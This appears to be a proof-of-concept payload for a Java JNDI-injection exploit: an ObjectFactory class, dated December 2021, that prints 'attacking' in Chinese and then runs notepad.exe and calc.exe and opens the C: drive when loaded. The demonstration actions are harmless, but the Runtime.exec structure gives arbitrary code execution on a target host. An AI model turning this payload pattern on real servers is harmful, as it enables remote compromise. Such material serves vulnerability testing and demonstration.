import java.awt.Desktop;
import java.io.File;
import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

/**
 * @author summit
 * @since 2021/12/13 13:19
 */
public class AttachTest implements ObjectFactory {
	@Override
	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
		System.out.println("攻击中====================");

		Runtime.getRuntime().exec("notepad.exe");
		Runtime.getRuntime().exec("calc.exe");
		Desktop.getDesktop().open(new File("c:\\"));

		System.out.println("攻击介素====================");
		return null;
	}
}
